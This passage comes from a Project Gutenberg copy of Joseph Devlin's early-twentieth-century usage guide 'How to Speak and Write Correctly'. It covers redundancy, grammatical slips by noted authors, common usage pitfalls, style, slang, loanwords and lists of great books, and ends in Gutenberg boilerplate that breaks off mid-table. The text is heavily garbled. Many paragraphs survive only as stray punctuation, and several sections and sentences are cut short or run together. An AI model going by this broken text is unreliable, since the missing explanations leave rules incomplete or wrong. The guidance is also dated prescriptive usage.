12.<br /><br /> He descended (down) the steps to the cellar.<br /> 13.<br /><br /> He fell (down) from the top of the house.<br /> 14.<br /><br /> I hope you will return (again) soon.<br /> 15.<br /><br /> The things he took away he restored (again).<br /> 16.<br /><br /> The thief who stole my watch was compelled to restore it (back again).<br /> 17.<br /><br /> It is equally (the same) to me whether I have it today or tomorrow.<br /> 18.<br /><br /> She said, (says she) the report is false; and he replied, (says he) if it be not correct I have been misinformed.<br /> 19.<br /><br /> I took my place in the cars (for) to go to New York.<br /> 20.<br /><br /> They need not (to) call upon him.<br /> 21.<br /><br /> Nothing (else) but that would satisfy him.<br /> 22.<br /><br /> Whenever I ride in the cars I (always) find it prejudicial to my health.<br /> 23.<br /><br /> He was the first (of all) at the meeting.<br /> 24.<br /><br /> He was the tallest of (all) the brothers.<br /> 25.<br /><br /> You are the tallest of (all) your family.<br /> 26.<br /><br /> Whenever I pass the house he is (always) at the door.<br /> 27.<br /><br /> The rain has penetrated (through) the roof.<br /> 28.<br /><br /> Besides my uncle and aunt there was (also) my grandfather at the church.<br /> 29.<br /><br /> It should (ever) be your constant endeavor to please your family.<br /> 30.<br /><br /> If it is true as you have heard (then) his situation is indeed pitiful.<br /> 31.<br /><br /> Either this (here) man or that (there) woman has (got) it.<br /> 32.<br /><br /> Where is the fire (at)?<br /> 33.<br /><br /> Did you sleep in church? Not that I know (of).<br /> 34.<br /><br /> I never before (in my life) met (with) such a stupid man.<br /> 35.<br /><br /> (For) why did he postpone it?<br /> 36.<br /><br /> Because (why) he could not attend.<br /> 37.<br /><br /> What age is he? (Why) I don't know.<br /> 38.<br /><br /> He called on me (for) to ask my opinion.<br /> 39.<br /><br /> I don't know where I am (at).<br /> 40.<br /><br /> I looked in (at) the window.<br /> 41.<br /><br /> I passed (by) the house.<br /> 42.<br /><br /> He (always) came every Sunday.<br /> 43.<br /><br /> Moreover, (also) we wish to say he was in error.<br /> 44.<br /><br /> It is not long (ago) since he was here.<br /> 45.<br /><br /> Two men went into the wood (in order) to cut (down) trees.<br /><br />Further examples of redundancy might be multiplied. It is very common in newspaper writing where not alone single words but entire phrases are sometimes brought in, which are unnecessary to the sense or explanation of what is written.<br />GRAMMATICAL ERRORS OF STANDARD AUTHORS<br /><br /.<br /><br />Dickens also used the article incorrectly. He refers to "Robinson Crusoe" as "an universally popular book," instead of a universally popular book.<br /><br /."<br /><br />Sir Arthur Helps in writing of Dickens, states—"I knew a brother author of his who received such criticisms from him (Dickens) very lately and profited by it." Instead of it the word should be them to agree with criticisms.<br /><br />Here are a few other pronominal errors from leading authors:<br /><br />"Sir Thomas Moore in general so writes it, although not many others so late as him." Should be he.—Trench's English Past and Present.<br /><br />"What should we gain by it but that we should speedily become as poor as them." Should be they.—Alison's Essay on Macaulay.<br /><br />"If the king gives us leave you or I may as lawfully preach, as them that do." Should be they or those, the latter having persons understood.—Hobbes's History of Civil Wars.<br /><br />"The drift of all his sermons was, to prepare the Jews for the reception of a prophet, mightier than him, and whose shoes he was not worthy to bear." Should be than he.—Atterbury's Sermons.<br /><br />"Phalaris, who was so much older than her." Should be she.—Bentley's Dissertation on Phalaris.<br /><br />"King Charles, and more than him, the duke and the Popish faction were at liberty to form new schemes." Should be than he.—Bolingbroke's Dissertations on Parties.<br /><br />"We contributed a third more than the Dutch, who were obliged to the same proportion more than us." Should be than we.—Swift's Conduct of the Allies.<br /><br />In all the above examples the objective cases of the pronouns have been used while the construction calls for nominative cases.<br /><br />"Let thou and I the battle try"—Anon.<br /><br />Here let is the governing verb and requires an objective case after it; therefore instead of thou and I, the words should be you (sing.) and me.<br /><br />"Forever in this humble cell, Let thee and I, my fair one, dwell"—Prior.<br /><br />Here thee and I should be the objectives you and me.<br /><br />The use of the relative pronoun trips the greatest number of authors.<br /><br />Even in the Bible we find the relative wrongly translated:<br /><br />Whom do men say that I am?—St. Matthew.<br /><br />Whom think ye that I am?—Acts of the Apostles.<br /><br />Who should be written in both cases because the word is not in the objective governed by say or think, but in the nominative dependent on the verb am.<br /><br />"Who should I meet at the coffee house t'other night, but my old friend?"—Steele.<br /><br />"It is another pattern of this answerer's fair dealing, to give us hints that the author is dead, and yet lay the suspicion upon somebody, I know not who, in the country."—Swift's Tale of a Tub.<br /><br />"My son is going to be married to I don't know who." —Goldsmith's Good-natured Man.<br /><br />The nominative who in the above examples should be the objective whom.<br /><br />The plural nominative ye of the pronoun thou is very often used for the objective you, as in the following:<br /><br />"His wrath which will one day destroy ye both." —Milton.<br /><br />"The more shame for ye; holy men I thought ye."—Shakespeare.<br /><br />"I feel the gales that from ye blow."—Gray.<br /><br />"Tyrants dread ye, lest your just decree Transfer the power and set the people free."—Prior.<br /><br />Many of the great writers have played havoc with the adjective in the indiscriminate use of the degrees of comparison.<br /><br />"Of two forms of the same word, use the fittest."—Morell.<br /><br />The author here in trying to give good advice sets a bad example. He should have used the comparative degree, "Fitter."<br /><br />Adjectives which have a comparative or superlative signification do not admit the addition of the words more, most, or the terminations, er, est, hence the following examples break this rule:<br /><br />"Money is the most universal incitement of human misery."—Gibbon's Decline and Fall.<br /><br />"The chiefest of which was known by the name of Archon among the Grecians."—Dryden's Life of Plutarch.<br /><br />"The chiefest and largest are removed to certain magazines they call libraries."—Swift's Battle of the Books.<br /><br />The two chiefest properties of air, its gravity and elastic force, have been discovered by mechanical experiments.—Arbuthno<br /><br />"From these various causes, which in greater or lesser degree, affected every individual in the colony, the indignation of the people became general."—Robertson's History of America.<br /><br />"The extremest parts of the earth were meditating a submission."—Atterbury's Sermons.<br /><br />"The last are indeed more preferable because they are founded on some new knowledge or improvement in the mind of man."—Addison, Spectator.<br /><br />"This was in reality the easiest manner of the two."—Shaftesbury's Advice to an Author.<br /><br />"In every well formed mind this second desire seems to be the strongest of the two."—Smith's Theory of Moral Sentiments.<br /><br />In these examples the superlative is wrongly used for the comparative. When only two objects are compared the comparative form must be used.<br /><br />Of impossibility there are no degrees of comparison, yet we find the following:<br /><br />"As it was impossible they should know the words, thoughts and secret actions of all men, so it was more impossible they should pass judgment on them according to these things."—Whitby's Necessity of the Christian Religion.<br /><br />A great number of authors employ adjectives for adverbs. Thus we find:<br /><br />"I shall endeavor to live hereafter suitable to a man in my station."—Addison.<br /><br />"I can never think so very mean of him."—Bentley's Dissertation on Phalaris.<br /><br />"His expectations run high and the fund to supply them is extreme scanty,—Lancaster's Essay on Delicacy.<br /><br /.<br /><br />Here are a few authors' slips:—<br /><br />"The terms in which the sale of a patent were communicated to the public."—Junius's Letters.<br /><br />"The richness of her arms and apparel were conspicuous."—Gibbon's Decline and Fall.<br /><br />"Everyone of this grotesque family were the creatures of national genius."—D'Israeli.<br /><br />"He knows not what spleen, languor or listlessness are."—Blair's Sermons.<br /><br />"Each of these words imply, some pursuit or object relinquished."—Ibid.<br /><br />"Magnus, with four thousand of his supposed accomplices were put to death."—Gibbon.<br /><br />"No nation gives greater encouragements to learning than we do; yet at the same time none are so injudicious in the application."—Goldsmith.<br /><br />"There's two or three of us have seen strange sights."—Shakespeare.<br /><br />The past participle should not be used for the past tense, yet the learned Byron overlooked this fact. He thus writes in the Lament of Tasso:—<br /><br />"And with my years my soul begun to pant With feelings of strange tumult and soft pain."<br /><br />Here is another example from Savage's Wanderer in which there is double sinning:<br /><br />"From liberty each nobler science sprung, A Bacon brighten'd and a Spenser sung."<br /><br />Other breaches in regard to the participles occur in the following:—<br /><br />"Every book ought to be read with the same spirit and in the same manner as it is writ"—Fielding's Tom Jones.<br /><br />"The Court of Augustus had not wore off the manners of the republic "—Hume's Essays.<br /><br />"Moses tells us that the fountains of the earth were broke open or clove asunder."—Burnet.<br /><br />"A free constitution when it has been shook by the iniquity of former administrations."—Bolingbroke.<br /><br />"In this respect the seeds of future divisions were sowed abundantly."—Ibid.<br /><br />In the following example the present participle is used for the infinitive mood:<br /><br />"It is easy distinguishing the rude fragment of a rock from the splinter of a statue."—Gilfillan's Literary Portraits.<br /><br />Distinguishing here should be replaced by to distinguish.<br /><br />The rules regarding shall and will are violated in the following:<br /><br />"If we look within the rough and awkward outside, we will be richly rewarded by its perusal."—Gilfillan's Literary Portraits.<br /><br />"If I should declare them and speak of them, they should be more than I am able to express."—Prayer Book Revision of Psalms XI.<br /><br />"If I would declare them and speak of them, they are more than can be numbered."—Ibid.<br /><br />"Without having attended to this, we will be at a loss, in understanding several passages in the classics."—Blair's Lectures.<br /><br />"We know to what cause our past reverses have been owing and we will have ourselves to blame, if they are again incurred."—Alison's History of Europe.<br /><br /."<br /><br />."<br /><br /.<br /><br />In the following examples the prepositions in parentheses are the ones that should have been used:<br /><br />"He found the greatest difficulty of (in) writing."—Hume's History of England.<br /><br />"If policy can prevail upon (over) force."—Addison.<br /><br />"He made the discovery and communicated to (with) his friends."—Swift's Tale of a Tub.<br /><br />"Every office of command should be intrusted to persons on (in) whom the parliament shall confide."—Macaulay.<br /><br /."<br /><br />—"for whom they are intended," he should have written.<br /><br />"Most writers have some one vein which they peculiarly and obviously excel in."—William Minto.<br /><br />This sentence should read,—Most writers have some one vein in which they peculiarly and obviously excel.<br /><br />Many authors use redundant words which repeat the same thought and idea. This is called tautology.<br /><br />"Notwithstanding which (however) poor Polly embraced them all around."—Dickens.<br /><br />"I judged that they would (mutually) find each other."—Crockett.<br /><br />"....as having created a (joint) partnership between the two Powers in the Morocco question."—The Times.<br /><br />"The only sensible position (there seems to be) is to frankly acknowledge our ignorance of what lies beyond."—Daily Telegraph.<br /><br />"Lord Rosebery has not budged from his position—splendid, no doubt,—of (lonely) isolation."—The Times.<br /><br />"Miss Fox was (often) in the habit of assuring Mrs. Chick."—Dickens.<br /><br />"The deck (it) was their field of fame."—Campbell.<br /><br />"He had come up one morning, as was now (frequently) his wont,"—Trollope.<br /><br />The counsellors of the Sultan (continue to) remain sceptical—The Times.<br /><br />Seriously, (and apart from jesting), this is no light matter.—Bagehot.<br /><br />To go back to your own country with (the consciousness that you go back with) the sense of duty well done.—Lord Halsbury.<br /><br />The Peresviet lost both her fighting-tops and (in appearance) looked the most damaged of all the ships—The Times.<br /><br />Counsel admitted that, that was a fair suggestion to make, but he submitted that it was borne out by the (surrounding) circumstances.—Ibid.<br /><br />Another unnecessary use of words and phrases is that which is termed circumlocution, a going around the bush when there is no occasion for it,—save to fill space.<br /><br /:<br /><br />"Pope professed himself the pupil of Dryden, whom he lost no opportunity of praising; and his character may be illustrated by a comparison with his master."<br /><br />"His life was brought to a close in 1910 at an age not far from the one fixed by the sacred writer as the term of human existence."<br /><br />This in brevity can be put, "His life was brought to a close at the age of seventy;" or, better yet, "He died at the age of seventy."<br /><br />"The day was intensely cold, so cold in fact that the thermometer crept down to the zero mark," can be expressed: "The day was so cold the thermometer registered zero."<br /><br /.<br /><br /.<br /><br /."<br /><br /.<br />CHAPTER VIII<br />PITFALLS TO AVOID<br />Common Stumbling Blocks—Peculiar Constructions—Misused Forms.<br />ATTRACTION<br /><br /:<br /><br /> 1.<br /><br /> "The partition which the two ministers made of the powers of government were singularly happy."—Macaulay.<br /><br /> (Should be was to agree with its subject, partition.)<br /> 2.<br /><br /> "One at least of the qualities which fit it for training ordinary men unfit it for training an extraordinary man."—Bagehot.<br /><br /> (Should be unfits to agree with subject one.)<br /> 3.<br /><br /> "The Tibetans have engaged to exclude from their country those dangerous influences whose appearance were the chief cause of our action."—The Times.<br /><br /> (Should be was to agree with appearance.)<br /> 4.<br /><br /> "An immense amount of confusion and indifference prevail in these days."—Telegraph.<br /><br /> (Should be prevails to agree with amount.)<br /><br />ELLIPSIS<br /><br />Errors in ellipsis occur chiefly with prepositions.<br /><br />His objection and condoning of the boy's course, seemed to say the least, paradoxical.<br /><br />(The preposition to should come after objection.)<br /><br />Many men of brilliant parts are crushed by force of circumstances and their genius forever lost to the world.<br /><br />(Some maintain that the missing verb after genius is are, but such is ungrammatical. In such cases the right verb should be always expressed: as—their genius is forever lost to the world.<br />THE SPLIT INFINITIVE<br /><br /.<br /><br /."<br />ONE<br /><br /."<br />ONLY<br /><br /.<br /><br /.<br />ALONE<br /><br /.<br />OTHER AND ANOTHER<br /><br /.<br /><br /.<br />AND WITH THE RELATIVE<br /><br /.<br />LOOSE PARTICIPLES<br /><br /.<br /><br />"Going into the store the roof fell" can be taken that it was the roof which was going into the store when it fell. Of course the meaning intended is that some person or persons were going into the store just as the roof fell.<br /><br /.<br />BROKEN CONSTRUCTION<br /><br /."<br />DOUBLE NEGATIVE<br /><br /."<br /><br /.<br />FIRST PERSONAL PRONOUN<br /><br /.<br /><br /.<br />SEQUENCE OF TENSES<br /><br /."<br /><br /."<br />BETWEEN—AMONG<br /><br /."<br />LESS—FEWER<br /><br />Less refers is quantity, fewer to number. "No man has less virtues" should be "No man has fewer virtues." "The farmer had some oats and a fewer quantity of wheat" should be "the farmer had some oats and a less quantity of wheat."<br />FURTHER—FARTHER<br /><br />Further is commonly used to denote quantity, farther to denote distance. "I have walked farther than you," "I need no further supply" are correct.<br />EACH OTHER—ONE ANOTHER<br /><br />Each "The three girls love each other."<br />EACH, EVERY, EITHER, NEITHER<br /><br /.<br /><br />The following examples illustrate the correct usage of these words:<br /><br />Each man of the crew received a reward.<br /><br />Every man in the regiment displayed bravery.<br /><br />We can walk on either side of the street.<br /><br />Neither of the two is to blame.<br />NEITHER-NOR<br /><br />When two singular subjects are connected by neither, nor use a singular verb; as, Neither John nor James was there," not were there.<br />NONE<br /><br /.<br />RISE-RAISE<br /><br />These verbs are very often confounded. Rise is to move or pass upward in any manner; as to "rise from bed;" to increase in value, to improve in position or rank, as "stocks rise;" "politicians rise;" "they have risen to honor."<br /><br />Raise is to lift up, to exalt, to enhance, as "I raise the table;" "He raised his servant;" "The baker raised the price of bread."<br />LAY-LIE<br /><br /.<br /><br /."<br /><br />We can say "I lay myself down." "He laid himself down" and such expressions.<br /><br />It is imperative to remember in using these verbs that to lay means to do something, and to lie means to be in a state of rest.<br />SAYS I—I SAID<br /><br />"Says I" is a vulgarism; don't use it. "I said" is correct form.<br />IN—INTO<br /><br /.<br />EAT—ATE<br /><br /).<br />SEQUENCE OF PERSON<br /><br />Remember that the first person takes precedence of the second and the second takes precedence of the third. When Cardinal Wolsey said Ego et Rex (I and the King), he showed he was a good grammarian, but a bad courtier.<br />AM COME—HAVE COME<br />."<br />PAST TENSE—PAST PARTICIPLE<br /><br /."<br /><br /."<br />PREPOSITIONS AND THE OBJECTIVE CASE<br /><br />Don't forget that prepositions always take the objective case. Don't say "Between you and I"; say "Between you and me"<br /><br />Two prepositions should not govern one objective unless there is an immediate connection between them. "He was refused admission to and forcibly ejected from the school" should be "He was refused admission to the school and forcibly ejected from it."<br />SUMMON—SUMMONS<br /><br />Don't say "I shall summons him," but "I shall summon him." Summon is a verb, summons, a noun.<br /><br />It is correct to say "I shall get a summons for him," not a summon.<br />UNDENIABLE—UNEXCEPTIONABLE<br /><br />.<br />THE PRONOUNS<br /><br />Very many mistakes occur in the use of the pronouns. "Let you and I go" should be "Let you and me go." "Let them and we go" should be "Let them and us go." The verb let is transitive and therefore takes the objective case.<br /><br />)."<br /><br />Don't say "It is me;" say "It is I" The verb To Be of which is is a part takes the same case after it that it has before it. This holds good in all situations as well as with pronouns.<br /><br />The verb To Be also requires the pronouns joined to it to be in the same case as a pronoun asking a question; The nominative I requires the nominative who and the objectives me, him, her, its, you, them, require the objective whom.<br /><br />?"<br /><br />After transitive verbs always use the objective cases of the pronouns. For "He and they we have seen," say "Him and them we have seen."<br />THAT FOR SO<br /><br />"The hurt it was that painful it made him cry," say "so painful."<br />THESE—THOSE<br />).<br />THIS MUCH—THUS MUCH<br /><br />"This much is certain" should be "Thus much or so much is certain."<br />FLEE—FLY<br /><br /."<br />THROUGH—THROUGHOUT<br /><br />Don't say "He is well known through the land," but "He is well known throughout the land."<br />VOCATION AND AVOCATION<br /><br />Don't mistake these two words so nearly alike. Vocation is the employment, business or profession one follows for a living; avocation is some pursuit or occupation which diverts the person from such employment, business or profession. Thus<br /><br />"His vocation was the law, his avocation, farming."<br />WAS—WERE<br /><br /.<br />A OR AN<br /><br />A becomes an before a vowel or before h mute for the sake of euphony or agreeable sound to the ear. An apple, an orange, an heir, an honor, etc.<br />CHAPTER IX<br />STYLE<br />Diction—Purity—Propriety—Precision.<br /><br /.<br /><br /.<br /><br /.<br /><br /.<br /><br />Just as men differ in the accent and tones of their voices, so do they differ in the construction of their language.<br /><br />Two reporters sent out on the same mission, say to report a fire, will verbally differ in their accounts though materially both descriptions will be the same as far as the leading facts are concerned. One will express himself in a style different from the other.<br /><br /."<br /><br /.<br /><br /.<br />DICTION<br /><br /.<br /><br /.<br /><br />Mix in good society. Listen attentively to good talkers and try to imitate their manner of expression. If a word is used you do not understand, don't be ashamed to ask its meaning.<br /><br /.<br /><br />Get as many words as you possibly can—if you don't need them now, pack them away in the garrets of your brain so that you can call upon them if you require them.<br /><br />Keep a note book, jot down the words you don't understand or clearly understand and consult the dictionary when you get time.<br />PURITY<br /><br /.<br /><br />There are two guiding principles in the choice of words,—good use and good taste. Good use tells us whether a word is right or wrong; good taste, whether it is adapted to our purpose or not.<br /><br />A word that is obsolete or too new to have gained a place in the language, or that is a provincialism, should not be used.<br /><br />Here are the Ten Commandments of English style:<br /><br /> 1.<br /><br /> Do not use foreign words.<br /> 2.<br /><br /> Do not use a long word when a short one will serve your purpose. Fire is much better than conflagration.<br /> 3.<br /><br /> Do not use technical words, or those understood only by specialists in their respective lines, except when you are writing especially for such people.<br /> 4.<br /><br /> Do not use slang.<br /> 5.<br /><br /> Do not use provincialisms, as "I guess" for "I think"; "I reckon" for "I know," etc.<br /> 6.<br /><br /> Do not in writing prose, use poetical or antiquated words: as "lore, e'er, morn, yea, nay, verily, peradventure."<br /> 7.<br /><br /> Do not use trite and hackneyed words and expressions; as, "on the job," "up and in"; "down and out."<br /> 8.<br /><br /> Do not use newspaper words which have not established a place in the language as "to bugle"; "to suicide," etc.<br /> 9.<br /><br /> Do not use ungrammatical words and forms; as, "I ain't;" "he don't."<br /> 10.<br /><br /> Do not use ambiguous words or phrases; as—"He showed me all about the house."<br /><br /.<br /><br /.<br /><br /.<br /><br /.<br /><br /.<br /><br />Quintilian said—"Prefer the oldest of the new and the newest of the old." Pope put this in rhyme and it still holds good:<br /><br />In words, as fashions, the same rule will hold, Alike fantastic, if too new or old: Be not the first by whom the new are tried, Nor yet the last to lay the old aside.<br />PROPRIETY<br /><br /.<br />SIMPLICITY<br /><br /."<br />CLEARNESS<br /><br /.<br />UNITY<br /><br /.<br /><br />Keep long parentheses out of the middle of your sentences and when you have apparently brought your sentences to a close don't try to continue the thought or idea by adding supplementary clauses.<br />STRENGTH<br /><br /.<br />HARMONY<br /><br /."<br /><br /.<br />EXPRESSIVE OF WRITER<br /><br />Style is expressive of the writer, as to who he is and what he is. As a matter of structure in composition it is the indication of what a man can do; as a matter of quality it is an indication of what he is.<br />KINDS OF STYLE<br /><br /.<br /><br />The dry style excludes all ornament and makes no effort to appeal to any sense of beauty. Its object is simply to express the thoughts in a correct manner. This style is exemplified by Berkeley.<br /><br />The plain style does not seek ornamentation either, but aims to make clear and concise statements without any elaboration or embellishment. Locke and Whately illustrate the plain style.<br /><br />The neat style only aspires after ornament sparingly. Its object is to have correct figures, pure diction and clear and harmonious sentences. Goldsmith and Gray are the acknowledged leaders in this kind of style.<br /><br />The elegant style uses every ornament that can beautify and avoids every excess which would degrade. Macaulay and Addison have been enthroned as the kings of this style. To them all writers bend the knee in homage.<br /><br />The florid style goes to excess in superfluous and superficial ornamentation and strains after a highly colored imagery. The poems of Ossian typify this style.<br /><br /.<br /><br />In fact style is as various as character and expresses the individuality of the writer, or in other words, as the French writer Buffon very aptly remarks, "the style is the man himself."<br />CHAPTER X<br />SUGGESTIONS<br />How to Write—What to Write—Correct Speaking and Speakers<br /><br /.<br />.<br />.<br /><br /. This may sound paradoxical, but, nevertheless, experience proves its truth.<br /><br /.<br /><br /.<br /><br /.<br /><br /."<br /><br /.<br /><br /.<br /><br />Have ambition to succeed and you will succeed. Cut the word "failure" out of your lexicon. Don't acknowledge it. Remember<br /><br /> "In life's earnest battle they only prevail<br /> Who daily march onward and never say fail."<br /><br />Let every obstacle you encounter be but a stepping stone in the path of onward progress to the goal of success.<br /><br /.<br /><br /.<br /><br /.<br /><br />Your brain is a storehouse, don't put useless furniture into it to crowd it to the exclusion of what is useful. Lay up only the valuable and serviceable kind which you can call into requisition at any moment.<br /><br /.<br /><br /.<br /><br /.<br /><br /.<br /><br /.<br /><br />Be open to criticism, don't resent it but rather invite it and look upon those as friends who point out your defects in order that you may remedy them.<br />CHAPTER XI<br />SLANG<br />Origin—American Slang—Foreign Slang<br /><br /.<br /><br />Cant and slang are often confused in the popular mind, yet they are not synonymous, though very closely allied, and proceeding from a common Gypsy origin...<br /><br /.<br /><br /.<br /><br />Some authors purposely use slang to give emphasis and spice in familiar and humorous writing, but they should not be imitated by the tyro. A master, such as Dickens, is forgivable, but in the novice it is unpardonable.<br /><br /.<br /><br /."<br /><br />When a politician defeats his rival he will tell you "it was a cinch," he had a "walk-over," to impress you how easy it was to gain the victory.<br /><br /.<br /><br />.<br /><br /.<br /><br /.<br /><br />Among the slang phrases that have come directly to us from England may be mentioned "throw up the sponge," "draw it mild," "give us a rest," "dead beat," "on the shelf," "up the spout," "stunning," "gift of the gab," etc.<br /><br /.<br /><br />.<br /><br /.<br /><br />Politics add to our slang words and phrases. From this source we get "dark horse," "the gray mare is the better horse," "barrel of money," "buncombe," "gerrymander," "scalawag," "henchman," "logrolling," "pulling the wires," "taking the stump," "machine," "slate," etc.<br /><br />The money market furnishes us with "corner," "bull," "bear," "lamb," "slump," and several others.<br /><br /.<br /><br />If you use slang use the refined kind and use it like a gentleman, that it will not hurt or give offense to any one. Cardinal Newman defined a gentleman as he who never inflicts pain. Be a gentleman in your slang—never inflict pain.<br />CHAPTER XII<br />WRITING FOR NEWSPAPERS<br />Qualification—Appropriate Subjects—Directions<br /><br /.<br /><br /.<br /><br /.<br /><br /.<br /><br /.<br /><br /.<br /><br /.<br /><br /> Not like Homer would I write,<br /> Not like Dante if I might,<br /> Not like Shakespeare at his best,<br /> Not like Goethe or the rest,<br /> Like myself, however small,<br /> Like myself, or not at all.<br /><br /.<br /><br /.<br /><br /.<br /><br /.<br /><br /.<br /><br />Be constantly on the lookout for something that will suit the passing hour, read the daily papers and probably in some obscure corner you may find something that will serve you as a foundation for a good article—something, at least, that will give you a clue.<br /><br /.<br /><br /.<br />.<br /><br /.<br /><br /.<br /><br /.<br /><br /.<br /><br /> On the wide, tented field in the battle of life,<br /> With an army of millions before you;<br /> Like a hero of old gird your soul for the strife<br /> And let not the foeman tramp o'er you;<br /> Act, act like a soldier and proudly rush on<br /> The most valiant in Bravery's van,<br /> With keen, flashing sword cut your way to the front<br /> And show to the world you're a Man.<br /><br /.<br /><br /> "Above all, to thine own self be true,<br /> And 'twill follow as the night the<br /> day, Thou canst not then be false to any man."<br /><br />CHAPTER XIII<br />CHOICE OF WORDS<br />Small Words—Their Importance—The Anglo-Saxon Element<br /><br /.<br /><br /.<br /><br /. The plain, simple words of everyday life, to which the common people have been used around their own firesides from childhood, are the words we must use in our dealings with them.<br /><br />Such words are understood by them and understood by the learned as well; why then not use them universally and all the time? Why make a one-sided affair of language by using words which only one class of the people, the so-called learned class, can understand? Would it not be better to use, on all occasions, language which the both classes can understand? If we take the trouble to investigate we shall find that the men who exerted the greatest sway over the masses and the multitude as orators, lawyers, preachers and in other public capacities, were men who used very simple language..<br /><br /.<br /><br /.<br />."<br /><br /.<br /><br /.<br /><br />"Which of the two do you mean, the pig or the horse?" queried the farmer, "for, in my opinion, both of them are fine quadrupeds."<br /><br /.<br /><br /.<br /><br /.<br /><br /.<br />CHAPTER XIV<br />ENGLISH LANGUAGE<br />Beginning—Different Sources—The Present<br /><br />The.<br /><br /:<br /><br /> All that glitters is not gold—<br /> Often have you heard that told;<br /> Many a man his life hath sold,<br /> But my outside to behold.<br /> Guilded tombs do worms infold.<br /> Had you been as wise as bold,<br /> Young in limbs, in judgment old,<br /> Your answer had not been inscrolled—<br /> Fare you well, your suit is cold.<br /><br />The lines put into the mouth of Hamlet's father in fierce intenseness, second only to Dante's inscription on the gate of hell, have one hundred and eight Anglo-Saxon and but fifteen Latin words.<br /><br /.<br /><br /.<br /><br /.<br /><br />The father of English prose is generally regarded as Wycliffe, who translated the Bible in 1380, while the paternal laurels in the secular poetical field are twined around the brows of Chaucer.<br /><br /.<br />.<br /><br />From the Hebrew we have a large number of proper names from Adam and Eve down to John and Mary and such words as Messiah, rabbi, hallelujah, cherub, seraph, hosanna, manna, satan, Sabbath, etc.<br /><br /.<br /><br /.<br /><br />Many of our most pleasing euphonic words, especially in the realm of music, have been given to us directly from the Italian. Of these are piano, violin, orchestra, canto, allegro, piazza, gazette, umbrella, gondola, bandit, etc.<br /><br />Spanish has furnished us with alligator, alpaca, bigot, cannibal, cargo, filibuster, freebooter, guano, hurricane, mosquito, negro, stampede, potato, tobacco, tomato, tariff, etc.<br /><br />From Arabic we have several mathematical, astronomical, medical and chemical terms as alcohol, alcove, alembic, algebra, alkali, almanac, assassin, azure, cipher, elixir, harem, hegira, sofa, talisman, zenith and zero.<br /><br />Bazaar, dervish, lilac, pagoda, caravan, scarlet, shawl, tartar, tiara and peach have come to us from the Persian.<br /><br />Turban, tulip, divan and firman are Turkish.<br /><br />Drosky, knout, rouble, steppe, ukase are Russian.<br /><br /.<br /><br /.<br />CHAPTER XV<br />MASTERS AND MASTERPIECES OF LITERATURE<br />Great Authors—Classification—The World's Best Books.<br /><br />The Bible is the world's greatest book. Apart from its character as a work of divine revelation, it is the most perfect literature extant.<br /><br />Leaving out the Bible the three greatest works are those of Homer, Dante and Shakespeare. These are closely followed by the works of Virgil and Milton.<br />INDISPENSABLE BOOKS<br /><br />Homer, Dante, Cervantes, Shakespeare and Goethe.<br /><br />(The best translation of Homer for the ordinary reader is by Chapman. Norton's translation of Dante and Taylor's translation of Goethe's Faust are recommended.)<br />A GOOD LIBRARY<br /><br />Besides the works mentioned everyone should endeavor to have the following:<br /><br /.<br /><br />A good encyclopoedia is very desirable and a reliable dictionary indispensable.<br />MASTERPIECES OF AMERICAN LITERATURE<br /><br /.<br />TEN GREATEST AMERICAN POETS<br /><br />Bryant, Poe, Whittier, Longfellow, Lowell, Emerson, Whitman, Lanier, Aldrich and Stoddard.<br />TEN GREATEST ENGLISH POETS<br /><br />Chaucer, Spenser, Shakespeare, Milton, Burns, Wordsworth, Keats, Shelley, Tennyson, Browning.<br />TEN GREATEST ENGLISH ESSAYISTS<br /><br />Bacon, Addison, Steele, Macaulay, Lamb, Jeffrey, De Quincey, Carlyle, Thackeray and Matthew Arnold.<br />BEST PLAYS OF SHAKESPEARE<br /><br /.<br />ONLY THE GOOD<br />.<br /><br />Poster's Note: the words "encyclopoedia", "insiduously", and "Synechdoche"<br />are thus in the original printing as are the spaces between "B. A." etc.<br />"Insiduously" and "Synechdoche" are valid variant spellings.<br /><br /><br /><br /><br /><br />End of Project Gutenberg's How to Speak and Write Correctly, by Joseph Devlin<br /><br />*** END OF THE PROJECT GUTENBERG EBOOK HOW TO SPEAK AND WRITE ***<br /><br />This file should be named hwswc10.txt or hwswc10.zip<br />Corrected EDITIONS of our eBooks get a new NUMBER, hwswc11.txt<br />VERSIONS based on separate sources get new LETTER, hwswc10a.txt<br /><br />Produced by Tom Allen, Charles Franks<br />and the Online Distributed Proofreading Team.<br /><br />Project Gutenberg eBooks are often created from several printed<br />editions, all of which are confirmed as Public Domain in the US<br />unless a copyright notice is included. Thus, we usually do not<br />keep eBooks in compliance with any particular paper edition.<br /><br />We are now trying to release all our eBooks one year in advance<br />of the official release dates, leaving time for better editing.<br />Please be encouraged to tell us about any error or corrections,<br />even years after the official publication date.<br /><br />Please note neither this listing nor its contents are final til<br />midnight of the last day of the month of any such announcement.<br />The official release date of all Project Gutenberg eBooks is at<br />Midnight, Central Time, of the last day of the stated month. A<br />preliminary version may often be posted for suggestion, comment<br />and editing by those who wish to do so.<br /><br />Most people start at our Web sites at:<br /> or<br /><br /><br />These Web sites include award-winning information about Project<br />Gutenberg, including how to donate, how to help produce our new<br />eBooks, and how to subscribe to our email newsletter (free!).<br /><br /><br />Those of you who want to download any eBook before announcement<br />can get to them as follows, and just download by date. This is<br />also a good way to get them instantly upon announcement, as the<br />indexes our cataloguers produce obviously take a while after an<br />announcement goes out in the Project Gutenberg Newsletter.<br /><br /> or<br /><br /><br />Or /etext02, 01, 00, 99, 98, 97, 96, 95, 94, 93, 92, 92, 91 or 90<br /><br />Just search by the first five letters of the filename you want,<br />as it appears in our Newsletters.<br /><br /><br />Information about Project Gutenberg (one page)<br /><br />We produce about two million dollars for each hour we work. The<br />time it takes us, a rather conservative estimate, is fifty hours<br />to get any eBook selected, entered, proofread, edited, copyright<br />searched and analyzed, the copyright letters written, etc. Our<br />projected audience is one hundred million readers. If the value<br />per text is nominally estimated at one dollar then we produce $2<br />million dollars per hour in 2002 as we release over 100 new text<br />files per month: 1240 more eBooks in 2001 for a total of 4000+<br />We are already on our way to trying for 2000 more eBooks in 2002<br />If they reach just 1-2% of the world's population then the total<br />will reach over half a trillion eBooks given away by year's end.<br /><br />The Goal of Project Gutenberg is to Give Away 1 Trillion eBooks!<br />This is ten thousand titles each to one hundred million readers,<br />which is only about 4% of the present number of computer users.<br /><br />Here is the briefest record of our progress (* means estimated):<br /><br />eBooks Year Month<br /><br /> 1 1971 July<br /> 10 1991 January<br /> 100 1994 January<br /> 1000 1997 August<br /> 1500 1998 October<br /> 2000 1999 December<br /> 2500 2000 December<br /> 3000 2001 November<br /> 4000 2001 October/November<br /> 6000 2002 December*<br /> 9000 2003 November*<br 